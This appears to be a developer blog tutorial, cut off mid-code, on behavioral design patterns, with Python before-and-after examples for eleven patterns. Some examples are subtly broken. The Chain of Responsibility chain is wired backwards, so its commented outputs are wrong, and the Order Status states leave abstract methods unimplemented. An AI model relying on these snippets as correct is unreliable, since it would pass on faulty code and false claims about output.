DEV Community: Mahdi SHamlou | مهدی شاملو

Mahdi Shamlou | Behavioral Design Patterns 2026: Strategy, Observer, Command, State & More — Production Examples

Mahdi SHamlou | مهدی شاملو — Wed, 17 Jun 2026 19:06:13 +0000

Mahdi Shamlou here.

You've mastered Creational Patterns. You understand how to build objects.

You've conquered Structural Patterns. You know how to organize relationships between objects.

Now it's time for the final piece: Behavioral Design Patterns.

This is where things get interesting.

Behavioral patterns answer the hardest question in software design:

How should objects communicate and collaborate?

I've seen systems where:

Objects were tightly coupled, making changes impossible
State management was scattered everywhere
Adding new behaviors required modifying dozens of classes
Event handling was chaotic and unmaintainable
Control flow was buried in complex conditionals

Most of these problems disappear when you apply the right behavioral pattern.

The difference between junior and senior developers often comes down to how well they manage behavior and communication between objects.

Let's dive into the patterns that separate them.

What Are Behavioral Design Patterns?

Behavioral patterns focus on how objects interact and distribute responsibility.

While Creational patterns ask: "How do I create objects?"

And Structural patterns ask: "How do I organize objects?"

Behavioral patterns ask: "How do objects talk to each other? Who does what?"

The behavioral patterns are:

Strategy — Choose an algorithm at runtime
Observer — Notify multiple objects about state changes
Command — Encapsulate requests as objects
State — Change behavior based on internal state
Template Method — Define algorithm structure, let subclasses fill in details
Chain of Responsibility — Pass requests through handlers
Iterator — Traverse collections without exposing implementation details
Mediator — Centralize communication between objects
Memento — Save and restore object state
Visitor — Add operations without changing existing classes
Interpreter — Define and evaluate a custom language or grammar

Let's explore each with production code.

Behavioral Patterns That Matter

1. Strategy Pattern

The Strategy pattern defines a family of algorithms, encapsulates each one, and makes them interchangeable.

It lets the algorithm vary independently from clients that use it.

Imagine a payment system. You support:

Credit card payments
PayPal
Stripe
Bitcoin

Without Strategy, your checkout code becomes a giant conditional:

if payment_method == "credit_card":
    # 50 lines of credit card logic
elif payment_method == "paypal":
    # 50 lines of PayPal logic
elif payment_method == "stripe":
    # 50 lines of Stripe logic
# ... nightmare

With Strategy, each payment method is a separate, interchangeable algorithm.

When to use it:

Multiple algorithms for a task
Different payment methods
Compression algorithms (zip, gzip, rar)
Sorting algorithms (quicksort, mergesort, bubblesort)
Data export formats (JSON, CSV, XML)
Pricing strategies (standard, premium, enterprise)
Search/filtering strategies

Bad code (without pattern)

class PaymentProcessor:
    def process_payment(self, amount, method):
        if method == "credit_card":
            # 30 lines of credit card processing
            print(f"Processing ${amount} with credit card")
            print("Validating card...")
            print("Checking fraud detection...")
            print("Charging card...")
            print("Payment complete")
            return True

        elif method == "paypal":
            # 30 lines of PayPal processing
            print(f"Processing ${amount} with PayPal")
            print("Redirecting to PayPal...")
            print("Waiting for PayPal confirmation...")
            print("Payment complete")
            return True

        elif method == "bitcoin":
            # 30 lines of Bitcoin processing
            print(f"Processing ${amount} with Bitcoin")
            print("Generating wallet address...")
            print("Waiting for blockchain confirmation...")
            print("Payment complete")
            return True

        else:
            raise ValueError("Unknown payment method")

# Every new payment method requires modifying this class
processor = PaymentProcessor()
processor.process_payment(100, "credit_card")
processor.process_payment(100, "paypal")

Problems:

Giant conditional logic
Hard to test each strategy
Hard to add new strategies
Violates Single Responsibility Principle

Good code (with Strategy)

from abc import ABC, abstractmethod

# Strategy interface
class PaymentStrategy(ABC):
    @abstractmethod
    def pay(self, amount):
        pass

# Concrete strategies
class CreditCardStrategy(PaymentStrategy):
    def __init__(self, card_number, cvv):
        self.card_number = card_number
        self.cvv = cvv

    def pay(self, amount):
        print(f"Processing ${amount} with credit card {self.card_number[-4:]}")
        print("Validating card...")
        print("Checking fraud detection...")
        print("Charging card...")
        return True

class PayPalStrategy(PaymentStrategy):
    def __init__(self, email):
        self.email = email

    def pay(self, amount):
        print(f"Processing ${amount} with PayPal ({self.email})")
        print("Redirecting to PayPal...")
        print("Waiting for PayPal confirmation...")
        return True

class BitcoinStrategy(PaymentStrategy):
    def __init__(self, wallet_address):
        self.wallet_address = wallet_address

    def pay(self, amount):
        print(f"Processing ${amount} with Bitcoin to {self.wallet_address[:10]}...")
        print("Generating transaction...")
        print("Waiting for blockchain confirmation...")
        return True

class StripeStrategy(PaymentStrategy):
    def __init__(self, stripe_token):
        self.stripe_token = stripe_token

    def pay(self, amount):
        print(f"Processing ${amount} with Stripe")
        print("Contacting Stripe API...")
        print("Payment successful")
        return True

# Context: Uses the strategy
class PaymentProcessor:
    def __init__(self, strategy: PaymentStrategy):
        self.strategy = strategy

    def process_payment(self, amount):
        return self.strategy.pay(amount)

# Client code: Simple and flexible
credit_card = CreditCardStrategy("4111111111111111", "123")
processor = PaymentProcessor(credit_card)
processor.process_payment(100)

paypal = PayPalStrategy("user@example.com")
processor = PaymentProcessor(paypal)
processor.process_payment(100)

bitcoin = BitcoinStrategy("1A1z7agoat")
processor = PaymentProcessor(bitcoin)
processor.process_payment(100)

# Add new strategy? Just create a new class, no modifications needed

Pros:

Easy to add new algorithms
Eliminates large conditional statements
Makes algorithms interchangeable
Each strategy is testable in isolation
Follows Single Responsibility Principle

Cons:

More classes to manage
Overhead for simple cases
Clients need to know which strategy to choose

My Take:

Strategy is one of the most practical patterns in real production systems.

Every time you see a big if-elif-elif chain, think Strategy. It's almost always the right answer.

Payment methods, export formats, sorting algorithms, caching strategies—they're all perfect use cases for Strategy.

The key insight: If you're choosing between different ways to do something, Strategy is your pattern.

2. Observer Pattern

The Observer pattern defines a one-to-many dependency between objects so that when one object changes state, all its dependents are notified automatically.

Think about a stock ticker. When a stock price changes, multiple traders, monitors, and alerts need to know immediately.

Without Observer, the stock would need to know about every trader, monitor, and alert (tight coupling).

With Observer, the stock simply notifies anyone who's interested.

When to use it:

Event systems (UI buttons, input fields)
Stock ticker systems
Real-time notifications
MVC architectures (model changes notify views)
Pub/Sub systems
Event-driven architecture
Social media (following users)

Bad code (without pattern)

class Stock:
    def __init__(self, symbol, price):
        self.symbol = symbol
        self.price = price
        self.traders = []
        self.monitors = []
        self.alerts = []

    def set_price(self, new_price):
        old_price = self.price
        self.price = new_price

        # The stock knows about all these systems (bad coupling!)
        for trader in self.traders:
            trader.notify_price_change(self.symbol, old_price, new_price)

        for monitor in self.monitors:
            monitor.update_display(self.symbol, new_price)

        for alert in self.alerts:
            alert.check_threshold(self.symbol, new_price)

    def register_trader(self, trader):
        self.traders.append(trader)

    def register_monitor(self, monitor):
        self.monitors.append(monitor)

    def register_alert(self, alert):
        self.alerts.append(alert)

# Stock knows too much about its dependents

Problems:

Stock is tightly coupled to all observers
Adding new observer types requires modifying Stock
Hard to test
Violates Single Responsibility

Good code (with Observer)

from abc import ABC, abstractmethod

# Observer interface
class StockObserver(ABC):
    @abstractmethod
    def update(self, symbol, price):
        pass

# Subject
class Stock:
    def __init__(self, symbol, price):
        self.symbol = symbol
        self.price = price
        self._observers = []

    def attach(self, observer: StockObserver):
        """Subscribe an observer"""
        if observer not in self._observers:
            self._observers.append(observer)

    def detach(self, observer: StockObserver):
        """Unsubscribe an observer"""
        self._observers.remove(observer)

    def notify(self):
        """Notify all observers of changes"""
        for observer in self._observers:
            observer.update(self.symbol, self.price)

    def set_price(self, new_price):
        print(f"{self.symbol} price changed from ${self.price} to ${new_price}")
        self.price = new_price
        self.notify()  # Notify all interested parties

# Concrete observers
class Trader(StockObserver):
    def __init__(self, name):
        self.name = name

    def update(self, symbol, price):
        print(f"Trader {self.name}: {symbol} is now ${price}")

class Monitor(StockObserver):
    def __init__(self, name):
        self.name = name

    def update(self, symbol, price):
        print(f"Monitor {self.name}: Updating display for {symbol} = ${price}")

class PriceAlert(StockObserver):
    def __init__(self, name, threshold):
        self.name = name
        self.threshold = threshold

    def update(self, symbol, price):
        if price > self.threshold:
            print(f"Alert {self.name}: {symbol} exceeded threshold! Price: ${price}")

# Client code
apple = Stock("AAPL", 150)

# Attach observers
trader1 = Trader("Alice")
trader2 = Trader("Bob")
monitor = Monitor("Dashboard")
alert = PriceAlert("HighAlert", 155)

apple.attach(trader1)
apple.attach(trader2)
apple.attach(monitor)
apple.attach(alert)

# Stock doesn't know about specific observer types
# Just notifies them
apple.set_price(152)
apple.set_price(156)  # Alert triggers

# Detach if needed
apple.detach(trader1)
apple.set_price(157)  # Alice doesn't get notified

Real-World Example: Event System

class Button:
    def __init__(self):
        self._listeners = []

    def on_click(self, listener):
        """Register click listener"""
        self._listeners.append(listener)

    def click(self):
        """Simulate button click"""
        print("Button clicked")
        for listener in self._listeners:
            listener()

# Usage
button = Button()
button.on_click(lambda: print("Action 1: Save file"))
button.on_click(lambda: print("Action 2: Send notification"))
button.on_click(lambda: print("Action 3: Log event"))

button.click()  # All listeners are notified

Pros:

Loose coupling between subject and observers
Dynamic subscription/unsubscription
Multiple observers supported
Follows Single Responsibility
Allows broadcast communication

Cons:

Observer order is unpredictable
Memory leaks if observers aren't unsubscribed
Can be hard to debug event chains
Performance overhead with many observers

My Take:

Observer is fundamental to modern event-driven systems.

You use it constantly:

React/Vue with event handlers
Django signals for model changes
Webhook systems for notifications
Event buses in microservices

The key insight: When you have one thing changing and many things that need to react, use Observer.

Don't make objects directly call each other. Let them observe and react independently.

3. Command Pattern

The Command pattern encapsulates a request as an object, thereby letting you parameterize clients with different requests, queue requests, and log requests.

It turns an action into a standalone object.

Think about a text editor's undo/redo. Every action (delete text, insert text, format) is a Command object.

To undo, you just pop the last command off the stack and reverse it.

When to use it:

Undo/redo functionality
Task queuing and scheduling
Macro recording
Asynchronous task execution
Transaction management
Request logging
Callback systems

Bad code (without pattern)

class TextEditor:
    def __init__(self):
        self.text = ""
        self.history = []
        self.undo_stack = []

    def insert_text(self, text):
        self.text += text
        self.history.append(("insert", text))

    def delete_text(self, count):
        self.text = self.text[:-count]
        self.history.append(("delete", count))

    def make_bold(self, start, end):
        # Complex formatting logic
        self.history.append(("bold", start, end))

    def undo(self):
        if not self.history:
            return

        action = self.history.pop()

        if action[0] == "insert":
            self.text = self.text[:-len(action[1])]
        elif action[0] == "delete":
            # Can't easily undo delete without storing deleted text
            pass
        elif action[0] == "bold":
            # How do you undo bold?
            pass

    def redo(self):
        # Redo logic (complicated and fragile)
        pass

# Problems:
# - Undo logic is scattered
# - Each action needs special undo handling
# - Hard to add new actions
# - Bug-prone

Good code (with Command)

from abc import ABC, abstractmethod

# Command interface
class Command(ABC):
    @abstractmethod
    def execute(self):
        pass

    @abstractmethod
    def undo(self):
        pass

# Concrete commands
class InsertTextCommand(Command):
    def __init__(self, editor, text):
        self.editor = editor
        self.text = text

    def execute(self):
        self.editor.text += self.text

    def undo(self):
        self.editor.text = self.editor.text[:-len(self.text)]

class DeleteTextCommand(Command):
    def __init__(self, editor, count):
        self.editor = editor
        self.count = count
        self.deleted_text = None

    def execute(self):
        self.deleted_text = self.editor.text[-self.count:]
        self.editor.text = self.editor.text[:-self.count]

    def undo(self):
        self.editor.text += self.deleted_text

class MakeBoldCommand(Command):
    def __init__(self, editor, start, end):
        self.editor = editor
        self.start = start
        self.end = end
        self.original_text = None

    def execute(self):
        self.original_text = self.editor.text[self.start:self.end]
        bold_text = f"**{self.original_text}**"
        self.editor.text = (
            self.editor.text[:self.start] +
            bold_text +
            self.editor.text[self.end:]
        )

    def undo(self):
        self.editor.text = (
            self.editor.text[:self.start] +
            self.original_text +
            self.editor.text[self.start + len(self.original_text) + 4:]
        )

# Invoker
class TextEditor:
    def __init__(self):
        self.text = ""
        self.history = []
        self.undo_stack = []

    def execute_command(self, command: Command):
        command.execute()
        self.history.append(command)

    def undo(self):
        if not self.history:
            return

        command = self.history.pop()
        command.undo()
        self.undo_stack.append(command)

    def redo(self):
        if not self.undo_stack:
            return

        command = self.undo_stack.pop()
        command.execute()
        self.history.append(command)

# Client code
editor = TextEditor()

# Execute commands
insert_cmd = InsertTextCommand(editor, "Hello ")
editor.execute_command(insert_cmd)
print(editor.text)  # "Hello "

insert_cmd2 = InsertTextCommand(editor, "World")
editor.execute_command(insert_cmd2)
print(editor.text)  # "Hello World"

delete_cmd = DeleteTextCommand(editor, 5)
editor.execute_command(delete_cmd)
print(editor.text)  # "Hello "

# Undo
editor.undo()
print(editor.text)  # "Hello World"

editor.undo()
print(editor.text)  # "Hello "

# Redo
editor.redo()
print(editor.text)  # "Hello World"

# Each command knows how to execute and undo itself
# Adding new commands is easy
# No special undo logic needed

Pros:

Decouples sender from receiver
Undo/redo become trivial
Easy to queue or schedule commands
Easy to log command history
Supports macros and composite commands

Cons:

More classes for each command
Memory overhead for storing commands
Can become complex with many commands

My Take:

Command is essential for any system with undo/redo, queuing, or transaction management.

The brilliance: Each action knows how to do itself and undo itself.

No need for centralized undo logic. Each command is responsible for its own reversal.

This is how professional text editors, design tools, and version control systems work.

4. State Pattern

The State pattern allows an object to alter its behavior when its internal state changes.

The object will appear to change its class.

Think about a traffic light:

Red → Green (can't go to Yellow directly)
Green → Yellow (can't go to Red directly)
Yellow → Red (can't go to Green directly)

Without State, you have giant conditionals:

if self.state == "red":
    # Red behavior
elif self.state == "yellow":
    # Yellow behavior
elif self.state == "green":
    # Green behavior

With State, each state is a separate object that knows what it can do.

When to use it:

State machines (traffic lights, orders, workflows)
UI state management
Game states (menu, playing, paused, game over)
Order status (pending, processing, shipped, delivered)
Connection states (connecting, connected, disconnected)
User states (logged out, logged in, admin)

Bad code (without pattern)

class TrafficLight:
    def __init__(self):
        self.state = "red"

    def next(self):
        if self.state == "red":
            self.state = "green"
            print("🟢 Green light")
        elif self.state == "green":
            self.state = "yellow"
            print("🟡 Yellow light")
        elif self.state == "yellow":
            self.state = "red"
            print("🔴 Red light")

    def can_proceed(self):
        if self.state == "red":
            return False
        elif self.state == "yellow":
            return False
        elif self.state == "green":
            return True

    def get_description(self):
        if self.state == "red":
            return "Stop"
        elif self.state == "yellow":
            return "Prepare to stop"
        elif self.state == "green":
            return "Go"

# Problems:
# - Conditional logic everywhere
# - Hard to add new states
# - Logic is mixed with state data
# - Transitions aren't clear

Good code (with State)

from abc import ABC, abstractmethod

# State interface
class TrafficLightState(ABC):
    @abstractmethod
    def next(self, context):
        pass

    @abstractmethod
    def can_proceed(self):
        pass

    @abstractmethod
    def get_description(self):
        pass

# Concrete states
class RedLightState(TrafficLightState):
    def next(self, context):
        context.set_state(GreenLightState())
        print("🟢 Green light")

    def can_proceed(self):
        return False

    def get_description(self):
        return "Stop"

class GreenLightState(TrafficLightState):
    def next(self, context):
        context.set_state(YellowLightState())
        print("🟡 Yellow light")

    def can_proceed(self):
        return True

    def get_description(self):
        return "Go"

class YellowLightState(TrafficLightState):
    def next(self, context):
        context.set_state(RedLightState())
        print("🔴 Red light")

    def can_proceed(self):
        return False

    def get_description(self):
        return "Prepare to stop"

# Context
class TrafficLight:
    def __init__(self):
        self._state = RedLightState()

    def set_state(self, state: TrafficLightState):
        self._state = state

    def next(self):
        self._state.next(self)

    def can_proceed(self):
        return self._state.can_proceed()

    def get_description(self):
        return self._state.get_description()

# Client code
light = TrafficLight()
print(light.get_description())  # Stop
print(light.can_proceed())  # False

light.next()
print(light.get_description())  # Go
print(light.can_proceed())  # True

light.next()
print(light.get_description())  # Prepare to stop

light.next()
print(light.get_description())  # Stop

# Adding new state? Just create a new class
# No modifications to existing code

Real-World Example: Order Status

class PendingState(TrafficLightState):
    def next(self, context):
        context.set_state(ProcessingState())

class ProcessingState(TrafficLightState):
    def next(self, context):
        context.set_state(ShippedState())

class ShippedState(TrafficLightState):
    def next(self, context):
        context.set_state(DeliveredState())

class DeliveredState(TrafficLightState):
    def next(self, context):
        pass  # Terminal state

# Each state knows valid transitions
# Business logic is clear

Pros:

Eliminates large conditional statements
Each state is a separate class
Easy to add new states
State transitions are explicit
Follows Single Responsibility

Cons:

More classes
Slight performance overhead
Can be overkill for simple cases

My Take:

State is perfect for anything with multiple states and transitions.

E-commerce orders, game loops, connection handling, authentication flows—they all benefit from State.

The key insight: If you have state-dependent behavior, make each state a class.

This makes transitions explicit, state logic local, and new states easy to add.

5. Template Method Pattern

The Template Method pattern defines the skeleton of an algorithm in a method, deferring some steps to subclasses.

It lets subclasses redefine certain steps without changing the algorithm's structure.

Think about making different beverages:

1. Boil water
2. Brew the drink material
3. Pour in cup
4. Add condiments

The structure is the same for tea and coffee. Only steps 2 and 4 differ.

When to use it:

Algorithms with common structure but varying details
Beverage makers (tea vs coffee)
Data processing pipelines
Document generation
Game loops
Testing frameworks
Build processes

Bad code (without pattern)

class CoffeeRecipe:
    def prepare_coffee(self):
        self.boil_water()
        self.brew_coffee()
        self.pour_cup()
        self.add_sugar()
        self.add_cream()

class TeaRecipe:
    def prepare_tea(self):
        self.boil_water()
        self.brew_tea()
        self.pour_cup()
        self.add_honey()
        self.add_lemon()

# Code duplication: boil_water, pour_cup
# Method names are inconsistent
# Client needs to know which method to call

Good code (with Template Method)

from abc import ABC, abstractmethod

class Beverage(ABC):
    # Template method: defines algorithm structure
    def prepare(self):
        self.boil_water()
        self.brew()
        self.pour_cup()
        self.add_condiments()

    def boil_water(self):
        print("Boiling water...")

    def pour_cup(self):
        print("Pouring into cup...")

    # Hook methods: subclasses override these
    @abstractmethod
    def brew(self):
        pass

    @abstractmethod
    def add_condiments(self):
        pass

class Coffee(Beverage):
    def brew(self):
        print("Brewing fresh coffee...")

    def add_condiments(self):
        print("Adding sugar and cream...")

class Tea(Beverage):
    def brew(self):
        print("Brewing tea...")

    def add_condiments(self):
        print("Adding honey and lemon...")

class HotChocolate(Beverage):
    def brew(self):
        print("Mixing cocoa with hot water...")

    def add_condiments(self):
        print("Adding whipped cream and marshmallows...")

# Client code
def make_beverage(beverage: Beverage):
    beverage.prepare()  # Same method for all beverages

print("Coffee:")
make_beverage(Coffee())

print("\nTea:")
make_beverage(Tea())

print("\nHot Chocolate:")
make_beverage(HotChocolate())

# Algorithm structure is defined once
# Subclasses only implement what's different

Real-World Example: Data Processing

class DataProcessor(ABC):
    def process(self, filename):
        data = self.read_file(filename)
        data = self.validate(data)
        data = self.transform(data)
        self.save_results(data)

    @abstractmethod
    def read_file(self, filename):
        pass

    @abstractmethod
    def validate(self, data):
        pass

    @abstractmethod
    def transform(self, data):
        pass

    def save_results(self, data):
        print("Saving results...")

class CSVProcessor(DataProcessor):
    def read_file(self, filename):
        print(f"Reading CSV: {filename}")
        return ["row1", "row2"]

    def validate(self, data):
        print("Validating CSV format...")
        return data

    def transform(self, data):
        print("Transforming CSV to objects...")
        return data

class JSONProcessor(DataProcessor):
    def read_file(self, filename):
        print(f"Reading JSON: {filename}")
        return [{"key": "value"}]

    def validate(self, data):
        print("Validating JSON schema...")
        return data

    def transform(self, data):
        print("Transforming JSON to objects...")
        return data

# Same process for any format
csv = CSVProcessor()
csv.process("data.csv")

json = JSONProcessor()
json.process("data.json")

Pros:

Eliminates code duplication
Defines algorithm structure once
Makes it easy to add variants
Follows DRY principle
Subclasses only implement what's different

Cons:

Can be rigid if algorithm changes
Subclasses can't fully control behavior
Can be harder to understand flow

My Take:

Template Method is excellent for reducing duplication when you have multiple implementations of similar processes.

Any time you see: "The process is mostly the same, but steps 2 and 4 are different," think Template Method.

It's used everywhere:

Django views inherit from base views
Testing frameworks have setup/teardown hooks
Build tools have standard phases
Game engines have game loops

The key insight: Define the algorithm's skeleton once, let subclasses fill in the details.

6. Chain of Responsibility Pattern

The Chain of Responsibility pattern passes requests along a chain of handlers.

Each handler decides either to process the request or pass it to the next handler.

Think about a support ticket system:

Level 1 Support → Can't resolve?
  ↓
Level 2 Support → Can't resolve?
  ↓
Level 3 Support → Can't resolve?
  ↓
Manager

Each handler tries to solve it. If they can't, they pass it to the next handler.

When to use it:

Support ticket escalation
Logging with multiple levels
Request validation (multiple checks)
Event handling (parent nodes pass to children)
Middleware chains
Approval workflows
Exception handling

Bad code (without pattern)

class SupportTicket:
    def __init__(self, issue, priority):
        self.issue = issue
        self.priority = priority
        self.resolved = False

def handle_ticket(ticket):
    # Giant conditional chain
    if ticket.priority == 1:
        if level1_can_handle(ticket):
            print(f"Level 1 resolved: {ticket.issue}")
            ticket.resolved = True
        else:
            # Pass to level 2
            if level2_can_handle(ticket):
                print(f"Level 2 resolved: {ticket.issue}")
                ticket.resolved = True
            else:
                # Pass to level 3
                if level3_can_handle(ticket):
                    print(f"Level 3 resolved: {ticket.issue}")
                    ticket.resolved = True
                else:
                    print("Manager will handle")
    elif ticket.priority == 2:
        # Different logic for priority 2
        pass

# Problems:
# - Nested conditionals
# - Hard to add new levels
# - Logic is tightly coupled

Good code (with Chain of Responsibility)

from abc import ABC, abstractmethod

class SupportHandler(ABC):
    def __init__(self, next_handler=None):
        self.next_handler = next_handler

    def handle_ticket(self, ticket):
        if self.can_handle(ticket):
            self.resolve(ticket)
        elif self.next_handler:
            self.next_handler.handle_ticket(ticket)
        else:
            print(f"No one could handle: {ticket.issue}")

    @abstractmethod
    def can_handle(self, ticket):
        pass

    @abstractmethod
    def resolve(self, ticket):
        pass

class Level1Support(SupportHandler):
    def can_handle(self, ticket):
        return ticket.priority <= 2

    def resolve(self, ticket):
        print(f"Level 1 resolved: {ticket.issue}")
        ticket.resolved = True

class Level2Support(SupportHandler):
    def can_handle(self, ticket):
        return ticket.priority <= 3

    def resolve(self, ticket):
        print(f"Level 2 resolved: {ticket.issue}")
        ticket.resolved = True

class Level3Support(SupportHandler):
    def can_handle(self, ticket):
        return ticket.priority <= 4

    def resolve(self, ticket):
        print(f"Level 3 resolved: {ticket.issue}")
        ticket.resolved = True

class Manager(SupportHandler):
    def can_handle(self, ticket):
        return True  # Manager can handle anything

    def resolve(self, ticket):
        print(f"Manager resolved: {ticket.issue}")
        ticket.resolved = True

# Build the chain
level1 = Level1Support()
level2 = Level2Support(level1)
level3 = Level3Support(level2)
manager = Manager(level3)

# Start with level1 (or any handler in the chain)
class SupportTicket:
    def __init__(self, issue, priority):
        self.issue = issue
        self.priority = priority
        self.resolved = False

# Handle tickets
ticket1 = SupportTicket("Can't login", priority=1)
level1.handle_ticket(ticket1)  # Level 1 handles it

ticket2 = SupportTicket("Database corruption", priority=4)
level1.handle_ticket(ticket2)  # Escalates through chain to Manager

ticket3 = SupportTicket("Slow performance", priority=3)
level1.handle_ticket(ticket3)  # Level 3 handles it

# Add new handler? Just insert in the chain
# No modifications to existing handlers

Real-World Example: Logging Levels

class Logger(ABC):
    def __init__(self, next_logger=None):
        self.next_logger = next_logger

    def log(self, level, message):
        if self.should_log(level):
            self.write(message)

        if self.next_logger:
            self.next_logger.log(level, message)

    @abstractmethod
    def should_log(self, level):
        pass

    @abstractmethod
    def write(self, message):
        pass

class ConsoleLogger(Logger):
    def should_log(self, level):
        return level >= 1

    def write(self, message):
        print(f"Console: {message}")

class FileLogger(Logger):
    def should_log(self, level):
        return level >= 2

    def write(self, message):
        print(f"File: {message}")

class ErrorLogger(Logger):
    def should_log(self, level):
        return level >= 3

    def write(self, message):
        print(f"Error Alert: {message}")

# Build chain
console = ConsoleLogger()
file = FileLogger(console)
error = ErrorLogger(file)

# Log at different levels
error.log(1, "Info message")  # Logged by console
error.log(2, "Warning message")  # Logged by console and file
error.log(3, "Error message")  # Logged by all

Pros:

Decouples senders from receivers
Easy to add/remove handlers
Flexible composition of handlers
Follows Single Responsibility

Cons:

No guarantee request is handled
Harder to debug request flow
Can impact performance with many handlers

My Take:

Chain of Responsibility is perfect for anything involving escalation or filtering.

You use it constantly:

Middleware in web frameworks (Django, Flask)
Event propagation in UI systems
Logging systems with multiple outputs
Validation chains checking multiple conditions
Request processing pipelines

The key insight: Pass the request down the chain until someone handles it.

7. Iterator Pattern

The Iterator pattern provides a way to access elements of a collection sequentially without exposing its underlying representation.

Think about how you loop through lists in Python:

for item in items:
    print(item)

You don't care whether items is a list, set, database cursor, or generator.

The iteration mechanism is hidden.

That's Iterator.

When to use it:

Traversing complex collections
Tree structures
Database cursors
Streaming data
Paginated APIs
Graph traversal

Bad code (without pattern)

class BookCollection:
    def __init__(self):
        self.books = []

    def get_book(self, index):
        return self.books[index]

library = BookCollection()

for i in range(len(library.books)):
    print(library.get_book(i))

Problems:

Client depends on internal structure
Traversal logic is duplicated
Changing storage breaks clients

Good code (with Iterator)

class BookCollection:
    def __init__(self):
        self._books = []

    def add(self, book):
        self._books.append(book)

    def __iter__(self):
        return iter(self._books)

library = BookCollection()

library.add("Clean Code")
library.add("Design Patterns")
library.add("Refactoring")

for book in library:
    print(book)

Pros:

Hides collection implementation
Simplifies traversal
Supports multiple traversal strategies

Cons:

Extra abstraction layer
Can be unnecessary for simple collections

My Take:

Python gives you Iterator for free with __iter__() and generators.

Every time you use for item in collection, you're using Iterator.

The key insight: Expose data through iteration, not indexes.

8. Mediator Pattern

The Mediator pattern defines an object that encapsulates how other objects interact.

Instead of objects talking directly to each other, they communicate through a central mediator.

Think about an air traffic control tower.

Pilots don't communicate with every other plane.

They talk to the tower.

The tower coordinates everything.

When to use it:

Chat applications
UI components
Workflow orchestration
Microservice coordination
Event hubs
Air traffic systems

Bad code (without pattern)

class User:
    def __init__(self, name):
        self.name = name
        self.contacts = []

    def send(self, message):
        for contact in self.contacts:
            contact.receive(message)

    def receive(self, message):
        print(message)

Problems:

Objects become tightly coupled.
Every participant must know about others.
Communication logic is duplicated.
Adding new participants requires updating existing code.
Interaction flows become difficult to maintain.

Good code (with Mediator)

from abc import ABC, abstractmethod

class ChatMediator(ABC):
    @abstractmethod
    def send(self, message, sender):
        pass


class ChatRoom(ChatMediator):
    def __init__(self):
        self.users = []

    def add_user(self, user):
        self.users.append(user)

    def send(self, message, sender):
        for user in self.users:
            if user != sender:
                user.receive(message)


class User:
    def __init__(self, name, mediator):
        self.name = name
        self.mediator = mediator

    def send(self, message):
        self.mediator.send(
            f"{self.name}: {message}",
            self
        )

    def receive(self, message):
        print(message)

Pros:

Reduces coupling
Centralizes communication logic
Easier to maintain interactions

Cons:

Mediator can become a god object

My Take:

The key insight: Replace many-to-many communication with one-to-many communication through a coordinator.

9. Memento Pattern

The Memento pattern captures and externalizes an object's internal state so it can be restored later.

Think about:

Undo/redo
Game saves
Checkpoints
Snapshots
Database transactions

When to use it:

Save functionality
Version history
Rollbacks
Checkpoint systems

Bad code (without pattern) — Memento

class Editor:
    def __init__(self):
        self.text = ""
        self.history = []

    def write(self, text):
        self.text += text

    def save(self):
        self.history.append(self.text)

    def undo(self):
        if self.history:
            self.text = self.history.pop()

usage = Editor()

usage.write("Hello ")
usage.save()

usage.write("World")
usage.save()

usage.undo()

print(usage.text)

Problems:

The editor manages both editing and history tracking.
Internal state is exposed directly.
Undo logic is tightly coupled to the editor.
Difficult to support advanced features like redo, snapshots, or branching history.
Violates the Single Responsibility Principle.

Good code (with Memento)

class EditorMemento:
    def __init__(self, text):
        self._text = text

    def get_state(self):
        return self._text


class Editor:
    def __init__(self):
        self.text = ""

    def write(self, text):
        self.text += text

    def save(self):
        return EditorMemento(self.text)

    def restore(self, memento):
        self.text = memento.get_state()


class History:
    def __init__(self):
        self._states = []

    def push(self, memento):
        self._states.append(memento)

    def pop(self):
        return self._states.pop()

Pros:

Encapsulates object state
Simplifies rollback
Supports history management

Cons:

Can consume memory
Expensive for large objects

My Take:

Command + Memento is how professional editors implement undo systems.

The key insight: Save snapshots instead of reverse-engineering state changes.

10. Visitor Pattern

The Visitor pattern lets you add new operations to existing object structures without modifying those objects.

Think about a file system:

Calculate size
Export data
Validate structure
Generate reports

You don't want to keep modifying file classes every time.

When to use it:

Stable object structures
Multiple unrelated operations
Reporting systems
Compilers
AST processing

Bad code (without pattern) — Visitor

class ImageFile:
    def __init__(self, size):
        self.size = size

    def calculate_size(self):
        return self.size

    def export_json(self):
        return {
            "type": "image",
            "size": self.size
        }

    def validate(self):
        return self.size > 0


class VideoFile:
    def __init__(self, size):
        self.size = size

    def calculate_size(self):
        return self.size

    def export_json(self):
        return {
            "type": "video",
            "size": self.size
        }

    def validate(self):
        return self.size > 0

Problems:

Classes grow endlessly.
Adding new operations requires changing existing code.
Violates the Open/Closed Principle.
Business logic becomes scattered across domain objects.
High risk of introducing bugs when adding features.

Good code (with Visitor)

from abc import ABC, abstractmethod

class Visitor(ABC):
    @abstractmethod
    def visit_file(self, file):
        pass


class FileElement(ABC):
    @abstractmethod
    def accept(self, visitor):
        pass


class ImageFile(FileElement):
    def __init__(self, size):
        self.size = size

    def accept(self, visitor):
        visitor.visit_file(self)


class SizeVisitor(Visitor):
    def __init__(self):
        self.total = 0

    def visit_file(self, file):
        self.total += file.size

Pros:

Add new operations easily
Keeps domain objects clean
Follows Open/Closed Principle

Cons:

Hard to add new element types
More complex syntax

My Take:

Visitor is common in compilers, parsers, and AST processing.

The key insight: When your data structure is stable but operations change frequently, use Visitor.

11. Interpreter Pattern

The Interpreter pattern defines a grammar for a language and provides an interpreter to evaluate sentences in that language.

In simple terms:

It lets you build your own mini-language.

Think about:

Search query syntax (status:open AND priority:high)
Mathematical expressions (5 + 3 * 2)
Rule engines (age > 18 AND country == "US")
SQL-like filters
Domain-Specific Languages (DSLs)

Instead of hardcoding endless conditionals, you represent rules as objects that can interpret themselves.

When to use it:

Expression evaluators
Rule engines
Query parsers
Configuration languages
DSLs
Compilers and parsers

Bad code (without pattern)

def evaluate(rule, context):
    if rule == "is_admin":
        return context["role"] == "admin"

    elif rule == "is_premium":
        return context["subscription"] == "premium"

    elif rule == "is_adult":
        return context["age"] >= 18

    # This keeps growing forever...

Problems:

Giant conditional statements
Hard to extend
Business rules are scattered
No composability

Good code (with Interpreter)

from abc import ABC, abstractmethod


class Expression(ABC):
    @abstractmethod
    def interpret(self, context):
        pass


class GreaterThan(Expression):
    def __init__(self, field, value):
        self.field = field
        self.value = value

    def interpret(self, context):
        return context[self.field] > self.value


class Equals(Expression):
    def __init__(self, field, value):
        self.field = field
        self.value = value

    def interpret(self, context):
        return context[self.field] == self.value


class And(Expression):
    def __init__(self, left, right):
        self.left = left
        self.right = right

    def interpret(self, context):
